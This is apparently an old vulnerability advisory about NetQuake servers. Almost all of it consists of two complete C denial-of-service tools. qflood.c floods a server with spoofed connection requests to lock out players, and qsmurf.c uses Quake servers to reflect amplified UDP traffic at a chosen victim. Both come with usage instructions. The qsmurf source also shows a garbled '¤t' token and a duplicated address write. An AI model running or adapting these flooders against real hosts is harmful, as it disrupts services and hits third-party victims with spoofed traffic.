COMMAND

    Quake

SYSTEMS AFFECTED

    NetQuake

PROBLEM

    Andrew J.Gavin posted following.   Below is qflood.c, inspired  by
    a bored Sunday and a bugtraq post from 1998.  This will fill up  a
    Quake  server  with  spoofed  "unconnected"  clients,  disallowing
    other  players  the  ability  to  connect  to the server since the
    player limit fills up quickly.   Additionally, if the server  does
    not support  multiple clients  from the  same IP  address, it will
    disconnect legitimate  players if  the spoofed  connection request
    matches that player.

    Tested to work on all NetQuake servers.  An attack similar to this
    could probably work  on QuakeWorld and  Quake 2, but  this was not
    tested.

    /*
      qflood.c - Written by Andy Gavin (_k3nny@Efnet, k@EnterTheGame)
      UDP spoofing idea taken from "arnudp" by Arny (cs6171@scitsc.wlv.ac.uk)
      Original idea discussed on Bugtraq in 1998.
    
      Compiled on linux 2.2.19 with gcc 2.91.
      Tested to work on all NetQuake servers.
    */
    
    #include <ctype.h>
    #include <errno.h>
    #include <netdb.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    
    struct sockaddr sa;
    struct node
    {
      char *address;
      struct node *next;
    };
    
    struct node *head = NULL;
    struct node *tail;
    
    void add_address( struct node **, char * );
    void sig_handler( int );
    
    int main( int argc, char **argv )
    {
      int x = 1;
      int source_port, delay, fd;
      struct sockaddr_in *p;
      struct hostent *he;
      struct node *current;
      char *temp;
    
      u_char thePACKET[41]=
      {
        0x45,                       /* IP version, header len */
        0x00,                       /* IP diff services field */
        0x00, 0x29,                 /* IP total length */
        0xc2, 0xb5,                 /* IP id */
        0x00, 0x00,                 /* IP fragment offset */
        0x80,                       /* IP TTL */
        0x11,                       /* IP protocol */
        0, 0,                       /* IP header checksum */
        0, 0, 0, 0,                 /* IP src */
        0, 0, 0, 0,                 /* IP dest */
        0x00, 0x00,                 /* UDP src port */
        0, 0,                       /* UDP dest port */
        0x00, 0x15,                 /* length = 21 */
        0x00, 0x00,                 /* UDP checksum */
        0x80, 0x00,                 /* Quake flags */
        0x00, 0x0d,                 /* Quake length */
        0x01,                       /* Quake command = connect
    */
        0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
        0x45, 0x00,
        0x03, 0x01                  /* Quake version = 3 */
      };
    
      if( argc != 5 )
      {
        fprintf( stderr, "\nqflood - floods Quake servers with spoofed connection requests\n" );
        fprintf( stderr, "\tWritten by Andy Gavin (_k3nny@Efnet, k@ETG)\n" );
        fprintf( stderr, "\tUsage: %s <src> <server> <server_port> <delay>\n", *argv );
        fprintf( stderr, "\t\tsrc = comma-delimited list of IPs/hostnames\n" );
        fprintf( stderr, "\t\tserver = Quake server IP/hostname\n" );
        fprintf( stderr, "\t\tserver_port = Quake server port\n" );
        fprintf( stderr, "\t\tdelay = delay between connection requests (in msec)\n" );
        fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 500\n\n", argv[0] );
        exit( 0 );
      }
    
      srand( time( NULL ));
      delay = atoi( argv[4] ) * 1000;
    
      /* build a linked list of addresses entered on command line */
      temp = strtok( argv[1], "," );
      add_address( &head, temp );
    
      signal( SIGINT, sig_handler );
    
      tail = head;
    
      temp = strtok( NULL, "," );
      while( temp != NULL )
      {
        add_address( &(tail->next), temp );
        tail = tail->next;
        temp = strtok( NULL, "," );
      }
    
      current = head;
    
      while( 1 )
      {
        while( current != NULL )
        {
          if( ( he = gethostbyname( current->address )) == NULL )
          {
            fprintf( stderr, "Can't resolve src\n" );
            exit( 0 );
          }
    
          bcopy( *( he->h_addr_list ), ( thePACKET + 12 ), 4 );
    
          if( ( he = gethostbyname( argv[2]) ) == NULL )
          {
            fprintf( stderr, "Can't resolve server\n");
            exit( 0 );
          }
    
          bcopy( *( he->h_addr_list ), ( thePACKET + 16 ), 4 );
    
          source_port = rand() % 3976 + 1024;
    
          *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
          *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
    
          p = ( struct sockaddr_in* ) &sa;
          p->sin_family = AF_INET;
          bcopy( *( he->h_addr_list ), &(p->sin_addr), sizeof( struct in_addr ) );
    
          if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
          {
            perror( "Can't create raw socket (you must run as root)" );
            exit( 0 );
          }
    
          if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
          {
            perror( "setsockopt IP_HDRINCL error" );
            exit( 0 );
          }
    
          if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
          {
            perror( "sendto error" );
            exit( 0 );
          }
    
          printf( "Quake connection request sent from %s:%i to %s:%s\n", current->address, source_port, argv[2], argv[3] );
    
          usleep( delay );
          current = current->next;
        }
        current = head;
      }
      exit( 1 );
    }
    
    void add_address( struct node** reference, char *data )
    {
      struct node* new_node = malloc( sizeof( struct node ));
    
      new_node->address = data;
      new_node->next = *reference;
      *reference = new_node;
    }
    
    void sig_handler( int number )
    {
      struct node *current = head;
      struct node *next;
    
      printf( "\nCaught SIGINT.  Cleaning up memory..." );
      while( current != NULL )
      {
        next = current->next;
        free( current );
        current = next;
      }
      printf( "done.\n\n" );
      exit( 1 );
    }

    Commenting out the  printf() that is  called for each  packet that
    is sent.  It's just about as large as the packet that the  program
    sends to the  Quake server, so  about half the  bandwidth is being
    used to tell you that each packet was sent.

    /*
      qsmurf.c
      Written by Jamal Motsa (Haul@EFnet), based on qflood.c by Andy Gavin (_k3nny@EFnet, k@ETG)
      Look at his original post for the original credits.
      The anti-script kiddie file descriptor bug has been removed and the code was cleaned up a lot.
    */
    
    #include <ctype.h>
    #include <errno.h>
    #include <netdb.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <time.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    
    struct sockaddr sa;
    struct node
    {
      char *address;
      struct node *next;
      unsigned int ip;
    };
    
    struct node *head = NULL;
    struct node *tail;
    
    void add_address( struct node **, char * );
    void sig_handler( int );
    
    int main( int argc, char **argv )
    {
      int x = 1;
      int source_port, delay, fd;
      unsigned int ip;
      struct sockaddr_in *p;
      struct hostent *he;
      struct node *current;
      char *temp;
    
      u_char thePACKET[41]=
      {
        0x45,                       /* IP version, header len */
        0x00,                       /* IP diff services field */
        0x00, 0x29,                 /* IP total length */
        0xc2, 0xb5,                 /* IP id */
        0x00, 0x00,                 /* IP fragment offset */
        0x80,                       /* IP TTL */
        0x11,                       /* IP protocol */
        0, 0,                       /* IP header checksum */
        0, 0, 0, 0,                 /* IP src */
        0, 0, 0, 0,                 /* IP dest */
        0x00, 0x00,                 /* UDP src port */
        0, 0,                       /* UDP dest port */
        0x00, 0x15,                 /* length = 21 */
        0x00, 0x00,                 /* UDP checksum */
        0x80, 0x00,                 /* Quake flags */
        0x00, 0x0d,                 /* Quake length */
        0x01,                       /* Quake command = connect */
        0x51, 0x55, 0x41, 0x4b,     /* Quake game = QUAKE */
        0x45, 0x00,
        0x03, 0x01                  /* Quake version = 3 */
      };
    
      if( argc != 5 )
      {
        fprintf( stderr, "\nqsmurf - floods targets with amplified UDP packets using the NetQuake protocol\n" );
        fprintf( stderr, "\tWritten by Jamal Motsa (Haul@EFnet)\n" );
        fprintf( stderr, "\tUsage: %s <servers> <src> <server_port> <delay>\n", *argv );
        fprintf( stderr, "\t\tservers = comma-delimited list of IP Address/hostnames of Quake servers\n" );
        fprintf( stderr, "\t\tsrc = IP Address/hostname of target\n" );
        fprintf( stderr, "\t\tserver_port = Quake server port\n" );
        fprintf( stderr, "\t\tdelay = delay between connection requests (in usec, 0 for no delay)\n" );
        fprintf( stderr, "\t\texample: %s 10.0.0.2,10.0.0.3 10.0.0.10 26000 50000\n\n", argv[0] );
        exit( 0 );
      }
    
      srand( time( NULL ));
      delay = atoi( argv[4] );
    
      /* build a linked list of addresses entered on command line */
      temp = strtok( argv[1], "," );
      add_address( &head, temp );
    
      signal( SIGINT, sig_handler );
    
      tail = head;
    
      temp = strtok( NULL, "," );
      while( temp != NULL )
      {
        add_address( &(tail->next), temp );
        tail = tail->next;
        temp = strtok( NULL, "," );
      }
    
      current = head;
    
      if(( fd=socket( AF_INET, SOCK_RAW, IPPROTO_RAW )) == -1 )
      {
        perror( "Can't create raw socket (you must run as root)" );
        exit( 0 );
      }
    
      if( setsockopt( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x)) < 0 )
      {
        perror( "setsockopt IP_HDRINCL error" );
        exit( 0 );
      }
    
      if( ( he = gethostbyname( argv[2]) ) == NULL )
      {
        fprintf( stderr, "Can't resolve src\n" );
        exit( 0 );
      }
    
      bcopy( *( he->h_addr_list ), &ip, 4 );
    
    
      while( 1 )
      {
        while( current != NULL )
        {
          bcopy( &ip, ( thePACKET + 16 ), 4 );
          bcopy( &(current->ip), ( thePACKET + 16 ), 4 );
    
          source_port = rand() % 3976 + 1024;
    
          *(u_short*)(thePACKET + 20) = htons( (u_short) source_port );
          *(u_short*)(thePACKET + 22) = htons( (u_short) atoi( argv[3] ));
    
          p = ( struct sockaddr_in* ) &sa;
          p->sin_family = AF_INET;
          bcopy( ¤t->ip, &(p->sin_addr), 4 );
    
          if(( sendto( fd, &thePACKET, sizeof(thePACKET), 0, (struct sockaddr*)p, sizeof(struct sockaddr ))) == -1)
          {
            perror( "sendto error" );
            exit( 0 );
          }
    
          printf( "Quake connection request sent from %s:%i to %s:%s\n", argv[2], source_port, current->address, argv[3] );
    
          if( delay > 0 ) usleep( delay );
          current = current->next;
        }
        current = head;
      }
      exit( 1 );
    }
    
    void add_address( struct node** reference, char *data )
    {
      struct hostent * he;
      struct node* new_node = malloc( sizeof( struct node ));
    
      new_node->address = data;
      new_node->next = *reference;
    
      if( ( he = gethostbyname( new_node->address )) == NULL )
      {
        fprintf( stderr, "Can't resolve server\n");
        exit( 0 );
      }
      bcopy( *( he->h_addr_list ), &(new_node->ip), 4 );
    
      *reference = new_node;
    }
    
    void sig_handler( int number )
    {
      struct node *current = head;
      struct node *next;
    
      printf( "\nCaught SIGINT.  Cleaning up memory..." );
      while( current != NULL )
      {
        next = current->next;
        free( current );
        current = next;
      }
      printf( "done.\n\n" );
      exit( 1 );
    }

SOLUTION

    Vendor not contacted, since id Software has long abandoned Quake.